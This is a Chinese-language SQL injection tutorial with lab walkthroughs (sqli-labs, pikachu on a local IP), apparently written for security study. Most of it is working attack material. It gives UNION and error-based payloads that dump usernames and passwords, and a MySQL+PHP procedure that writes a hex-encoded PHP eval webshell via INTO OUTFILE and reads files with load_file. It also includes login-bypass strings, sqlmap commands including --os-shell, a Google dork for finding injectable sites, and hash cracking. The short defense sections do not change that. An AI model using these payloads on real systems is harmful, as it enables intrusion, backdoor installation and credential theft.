SQL注入攻击原理
SQL注入攻击是一种对Web应用程序进行攻击的方法,它利用了应用程序对输入数据的不当过滤和验证,通过插入恶意的SQL语句来破坏数据库的完整性。
SQL注入攻击的目的通常是为了获取数据库的敏感信息,或者执行恶意操作,如删除数据库中的表。为了防止SQL注入攻击,应用程序应该对用户输入的数据进行严格的过滤和验证,避免执行未经授权的SQL语句。
SQL注入攻击分类
SQL 注入是 web 攻击手法最常见的攻击之一,按注入点、提交方式、和获取信息的方式不同分为以下几类:
(1) 根据注入点的不同分类
数字类型的注入
字符串类型的注入
(2) 根据提交方式的不同分类
GET 注入
POST 注入
COOKIE 注入
HTTP 注入
(3) 根据获取信息的方式不同分类
基于布尔的盲注
基于时间的盲注
基于报错的注入
union手工注入
union手工注入是指在知道数据库具体信息的情况下,利用union语句来进行攻击的一种方式。在union手工注入中,攻击者可以使用union语句来将两个不同的查询结果合并在一起,并且可以利用这种方式来提取数据库的信息。
例题:
- 联合注入查询,使用union
id=-1 ' union select 1,2,3 %23
//确定函数可用
id=-1 ' union select 1,2,group_concat(schema_name) from
information_schema.schemata %23 //获取数据库名
id=-1 ' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' %23
//获取表名
id=-1 ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'%23
//获取列名
id=-1 ' union select 1,username,password from users %23 //
获取用户名密码
id=1
//回显正常
id=1'
//报错信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
id=1' order by 4 #
url编码
//用来猜解字段数 //这里如果报错不正常可以对#进行
//当测试3时没有报错,而测试4时报错:Unknown column '4' in 'order clause',说明字段数为3
information schema手工注入
information_schema (提纲)数据库是 MySQL 系统自带的数据库。
其中保存着关于 MySQL服务器所维护的所有其他数据库的信息。通过 information_schema 注入,我们可以将整个数据库内容全部窃取出来
例题同上。
基于函数报错手工注入
基于函数报错手工注入是一种SQL注入攻击的方法,它利用数据库函数的报错信息来获取数据库的信息,进而注入恶意的SQL代码来攻击数据库。
这种方法通常在数据库系统不能直接显示查询结果时使用,例如当查询结果中包含布尔值或数字时。在这种情况下,攻击者可以构造一个带有函数的查询,如果查询结果为真,则函数会返回一个报错信息,如果查询结果为假,则函数不会返回任何信息。通过观察函数返回的报错信息,攻击者就可以判断出查询的结果,并根据结果构造恶意的SQL代码进行注入攻击。
updataxml注入
载荷注入
insert注入
updata注入
delet注入
extractvalue()注入
例题:
less-4(基于错误的GET双引号字符型注入)
?id=1
?id=1'
?id=1"
//有回显
//没有反应
//页面报错,从报错信息中可以看出它的传参结构
根据报错信息判断出输入的内容被放到一组双引号和小括号中,所以在less-1的基础上修改单引号为双 引号+右括号即可
id=1") order by 4 #
id=-1") union select 1,2,group_concat(schema_name) from
information_schema.schemata %23 //获取数据库名
id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' %23
//获取表名
id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'%23
//获取列名
id=-1") union select 1,username,password from users %23 //
获取用户名密码
HTTP HEAD注入
Header注入是另一种SQL注入攻击方式,它通过插入恶意代码到HTTP头部来攻击Web应用程序。这种方法通常是通过插入恶意的Cookie来实现的,但也可以通过其他HTTP头部字段来实现。攻击者可以通过这种方法来提取敏感信息或者执行恶意操作。
(1)127.0.0.1和localhost使用burp抓不到数据包,这时使用ipconfig获得内网ip即可抓到数据包。
(2)使用burp抓取数据包即可获得并修改头信息。
(3)请求头X-FORWORDED-FOR是真实网站获取你的ip的途径。(A->缓存服务器(代理)->真实的网站)。
(4)安全问题建议:XFF请求头挂127.0.0.1。
7.手工盲注
什么是盲注?
盲注就是利用一些方法进行判断或者尝试这个过程就是盲注
盲注可以分为3类:
1.基于布尔的SQL盲注(这里就是True/False)
2.基于报错的SQL盲注
3.基于时间的SQL盲注
1.构造逻辑判断的SQL语句(基于布尔的SQL盲注)
在这里主要学的:
left()
substr()
ascii()
mid()
ord()等同ascii()
regexp正则表达式
like注入
例题:
与less-9完全相同,将单引号改为双引号即可
8.宽字节注入
宽字节是相对于ascII这样单字节而言的;像 GB2312、GBK、GB18030、BIG5、Shift_JIS 等这些都是常说的宽字节,实际上只有两字节
GBK 是一种多字符的编码,通常来说,一个 gbk 编码汉字,占用2个字节。一个 utf-8 编码的汉字,占用3个字节
转义函数:为了过滤用户输入的一些数据,对特殊的字符加上反斜杠“\”进行转义;Mysql中转义的函数addslashes,mysql_real_escape_string,mysql_escape_string 等,还有一种是配置magic_quote_gpc,不过 PHP 高版本已经移除此功能。
9. Mysql+ PHP手工获取webshel过程
1、使用单引号判断是否有注入点(报错说明存在注入点)
2、查询正在使用中的用户user、数据库(%27union%20select%20user(),database()+--+%20)
3、爆数据库所有表名('UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761+--+&Submit=Submit#)
4、爆user表下所有字段名“0x7573657273转码后是users”('UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+&Submit=Submit#)
5、查询列名user、password下的所有用户名和密码('UNION SELECT user,password from users+--+&Submit=Submit#)
6、加载C盘根目录下的root.ini文件('UNION SELECT 1,load_file('c:\\root.ini')+--+&Submit=Submit#)
7、一句话木马,在C盘根目录生成muma.php的木马文件(' union select 0x3C3F70687020406576616C28245F504F53545B2763686F70706572275D293B3F3E,2 into outfile 'c:/muma.php'+--+&Submit=Submit#)
10. Access手工注入
Access手工注入是一种网络安全攻击方法,用于在不被授权的情况下获取数据库中的信息。此方法通常用于攻击使用Microsoft Access数据库的Web应用程序。
这种攻击通过提交恶意数据(即注入)到Web应用程序中,以便绕过应用程序的安全措施,并在数据库中执行未授权的操作。这种攻击的目的是为了访问数据库中的敏感信息,例如用户名和密码。
举个例子,假设有一个Web应用程序,其中使用了Microsoft Access数据库,并具有一个登录表单,其中需要输入用户名和密码。攻击者可能会尝试注入恶意数据,以便绕过应用程序的安全措施,并访问数据库中的敏感信息。
例如,攻击者可能会尝试使用恶意数据登录表单,如下所示:
用户名:' OR '1'='1
密码:' OR '1'='1
如果应用程序的安全措施不足,则这些恶意数据可能会被注入到数据库中,并执行未授权的操作。
防止Access手工注入攻击的一些措施包括:
使用参数化查询:这是最简单的方法,用于防止注入。参数化查询将查询中的参数作为单独的值传递,而不是将它们作为查询的一部分。这样,攻击者就无法在查询中注入恶意数据。
对输入数据进行过滤和验证:应该在应用程序中实施机制,以验证输入数据的有效性。这可以防止攻击者提交恶意数据,从而防止注入。
使用存储过程:使用存储过程可以防止攻击者注入恶意数据。存储过程是在数据库中预先定义的程序,可以在应用程序中调用。存储过程中的参数是已知的,因此攻击者无法将恶意数据注入到存储过程中。
加强数据库安全:应该采取措施来加强数据库的安全性,例如使用强密码、定期更改密码以及启用数据库审计功能。这些措施可以防止攻击者获得数据库访问权限,从而防止注入攻击。
这些措施都可以帮助防止Access手工注入攻击,从而保护应用程序
11.MSSQL注入
MSSQL注入是指利用SQL注入漏洞来攻击Microsoft SQL Server数据库的一种攻击方式。这种攻击通过向数据库执行恶意的SQL语句来实现。
注入攻击是一种常见的Web应用程序安全漏洞,可以通过提交带有恶意代码的输入数据来对数据库执行任意操作。这些恶意代码可以使用特殊字符或语法来绕过应用程序的安全措施,并执行任意的SQL命令。
为了防止MSSQL注入攻击,需要采取以下措施:
使用参数化查询或预处理语句,以避免直接将用户输入的数据作为SQL语句的一部分。
对用户输入的数据进行有效的过滤和验证,以确保它们不包含恶意代码。
使用较强的数据库访问权限控制机制,限制数据库用户的操作权限。
定期执行安全测试,以发现并修复潜在的SQL注入漏洞。
注意:在确保网站安全的同时,也要注意不要对其他网站或系统进行攻击,这是违法的行为。
12.Sql注入漏洞修复
为了修复SQL注入漏洞,可以采取以下措施:
使用参数化查询或预处理语句:这种方法可以将用户输入的数据当作参数来使用,而不是直接将它们作为SQL语句的一部分。这样可以有效地避免SQL注入攻击。
对用户输入的数据进行有效的过滤和验证:可以使用正则表达式或其他方法来验证用户输入的数据,确保它们不包含恶意代码。
使用较强的数据库访问权限控制机制:可以限制数据库用户的操作权限,以防止未经授权的访问。
定期执行安全测试:应定期对应用程序进行安全测试,以发现并修复潜在的SQL注入漏洞。
使用Web应用程序防火墙(WAF):WAF可以帮助检测和阻止攻击者尝试利用SQL注入漏洞进行攻击。
注意:为了最大程度地保护网站,应该结合使用这些方法,并定期进行安全更新。
13.sqlmap注入使用
SQLMap简介
SQLMap 是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server、Microsoft Access 、IBM DB2, SQ Lite 、Firebird 、Sybase和SAPMaxDB 。
注意:sqlmap只是用来检测和利用sql注入点,并不能扫描出网站有哪些漏洞,使用前请先使用扫描工具扫出sql注入点。
SQLMap采用了以下5种独特的SQL注入技术。
• 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。
• 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否己执行(即页面返回时间是否增加)来判断。
• 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
• 联合查询注入,在可以使用Union 的情况下的注入。. 堆查询注入,可以同时执行多条语句时的注入。
SQLMap 的强大的功能包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。SQLMap的功能强大到让人惊叹,当常规的注入工具不能利用SQL注入漏洞进行注入时,使用SQLMap会有意想不到的效果。
SQLMap安装
SQLMap的安装方式可以自己上网查找,本教程是利用KaliLinux上自带的SQLMap工具进行相关学习与实验,无需自己配置python等基础环境,较简单易上手。
sqlmap的简单使用
常用命令及参数
查看sqlmap的命令字帮助手册
-u "url" #检测注入点
--dbs #列出所有数据库的名称
--current-db #列出当前数据库的名称
-D #指定一个数据库
--table #列出所有表名
-T #指定表名
--columns #列出所有字段名
-C #指定字段
--dump #列出字段内容
post注入
-r xxx.txt #xxx.txt为http数据包
–cookie #指定cookie
–os-shell #获取shell
sqlmap -g “inurl:php?id=” #利用google自动搜索注入点
操作前准备
实验靶场——我这里的IP为192.168.0.75:本节实验靶场是在主系统上基于phpstudy搭建的一个pikachu靶场网站
注入工具——kali虚拟机,自带sqlmap工具
注意,win11和kali桥接到同一VMnet下。两者可以互相ping通。
pikachu靶场SQL,sqlmap解法
GET型输入
字符型注入(此处细说):
随便输入点什么
URL
http://192.168.0.75/pikachu/vul/sqli/sqli_str.php?name=11&submit=%E6%9F%A5%E8%AF%A2
1.寻找注入点
sqlmap -u "URL"
sqlmap -u "
http://192.168.0.75/pikachu/vul/sqli/sqli_str.php?name=11&submit=%E6%9F%A5%E8%AF%A2"
注意:-u后面的URL链接一定要加双引号,不加的话有时候get请求里会有(&)这个符号不加双引号的URL链接有这个符号就会报错
如果URL正确的话他会出现很多如下图的选项,这些可以按需要选择,如果看不懂的话可以全都输入y,然后按回车也是可以的
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=adpc4c17gjf...h4glgenleg'). Do you want to use those [Y/n] y
您尚未声明cookie,而服务器希望设置自己的cookie('HPESSID=adpc4c17gjf…h4glgenleg')。是否要使用这些[Y/n]Y
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n]
如果没有找到至少一种其他(潜在的)技术,建议只执行基本UNION测试。是否要减少请求数?[是/否]
[00:26:12] [INFO] testing for SQL injection on GET parameter 'name'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
[00:26:12][信息]测试GET参数“name”上的SQL注入
看起来后端DBMS是“MySQL”。是否要跳过特定于其他DBMS的测试负载?[是/否]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
对于剩余的测试,是否要包括所有扩展提供的级别(1)和风险(1)值的“MySQL”测试?[是/否]
GET parameter 'name' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
GET参数“name”易受攻击。你想继续测试其他(如果有的话)吗?[是/否](选n,其他都y)
如果出现如图这些信息,那么恭喜你该网站存在sql注入漏洞,就可以进行下一步操作,如果提示报错的话,可以看情况修改URL,或者该网站不存在sql 注入漏洞
找到输入点为name处
2.寻找当前数据库
sqlmap -u"URL" --current-db
sqlmap -u "
http://192.168.0.75/pikachu/vul/sqli/sqli_str.php?name=11&submit=%E6%9F%A5%E8%AF%A2" --current-db
# 查询该网站后台当前数据库 --current-db
数据库为pikachu
3.寻找数据库为pikachu的所有表
sqlmap -u "URL" -D 数据库名 --tables
sqlmap -u "
http://192.168.0.75/pikachu/vul/sqli/sqli_str.php?name=11&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables
# -D pikachu 指定数据库pikachu
#--tables 当有权限读取pikachu数据库中的表tables的时候,读取出表
4.寻找表中的所有字段:
sqlmap -u "URL" -D 数据库名 -T 表名 --columns
sqlmap -u "
http://192.168.0.75/pikachu/vul/sqli/sqli_str.php?name=11&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns
#-T users 指定表名users
#--columns 当有权限读取表users中的列的时候读取表users中的列
5.寻找字段里面的值:
sqlmap -u "URL" -D 数据库名 -T 表名-C 字段1,字段2 --dump
sqlmap -u "
http://192.168.0.75/pikachu/vul/sqli/sqli_str.php?name=11&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C username,password --dump
#-C username,password 指定读取列username和password中的字段内容
#--dump 抛出前面指定内容
recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
在“password”列中识别出可能的密码哈希
是否要将哈希存储到临时文件中,以便最终使用其他工具进行进一步处理[y/N]
do you want to crack them via a dictionary-based attack? [Y/n/q]
你想通过基于字典的攻击破解它们吗?[是/否]
using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '
/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
使用哈希方法“md5_generic_passwd”
你想用什么字典?
[1] 默认字典文件“
/usr/share/sqlmap/data/txt/wordlist”。tx_'(按Enter键)
[2] 自定义词典文件
[3] 包含字典文件列表的文件
do you want to use common password suffixes? (slow!) [y/N]
是否要使用通用密码后缀?(慢!)[是/否](选n,其他都y)
这里就看到账号密码了,sql数据库默认是对密码MD5加密的,sqlmap有个功能可以把列出来的密码自动解密,如图,选项选对了,选了yes的话就会对密码解密
搜索型注入
URL:
http://192.168.0.75/pikachu/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2
命令:
sqlmap -u "http://192.168.0.75/pikachu/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" -D pikachu -T users -C password --dump
xx型注入
URL:
http://192.168.0.75/pikachu/vul/sqli/sqli_x.php?name=1&submit=%E6%9F%A5%E8%AF%A2
命令:
sqlmap -u "http://192.168.0.75/pikachu/vul/sqli/sqli_x.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C password --dump
盲注base on boolian
URL:
http://192.168.0.75/pikachu/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2
命令:
sqlmap -u "http://192.168.0.75/pikachu/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C password –dump
盲注base on time
URL
http://192.168.56.1/pikachu2/vul/sqli/sqli_blind_t.php?name=121&submit=1
sqlmap -u "http://192.168.56.1/pikachu2/vul/sqli/sqli_blind_t.php?name=121&submit=1" -D pikachu -T users -C password --dump
虽然耗时较长,但成功破译
#
POST型注入
insert/update注入
insert注入
URL
http://192.168.0.75/pikachu/vul/sqli/sqli_iu/sqli_reg.php
在注册账号处抓包
使用sqlmap
sqlmap -u "http://192.168.0.75/pikachu/vul/sqli/sqli_iu/sqli_reg.php" --data="username=1&password=1&sex=1&phonenum=1&email=1&add=1&submit=submit" -D pikachu -T users -C password --dump
sqlmap -u "URL" --data="表单名和表单值(bp上直接复制粘贴)" -D 数据库名 -T 表名 -C 字段名 --dump
得到密码:
update注入
先登入进去一个注册的账号,然后点击修改个人信息
URL
http://192.168.0.75/pikachu/vul/sqli/sqli_iu/sqli_edit.php
填写信息后用bp抓包,点击submit
输入命令:
sqlmap -u "http://192.168.0.75/pikachu/vul/sqli/sqli_iu/sqli_edit.php" --data="sex=12&phonenum=12&add=12&email=12&submit=submit" -D pikachu -T users -C password --dump
sqlmap -u "URL" --data="sex=12&phonenum=12&add=12&email=12&submit=submit(把表单复制粘贴过来)" -D 数据库名-T 用户名 -C 字段1 --dump
这里一个一个试,1可以
得到密码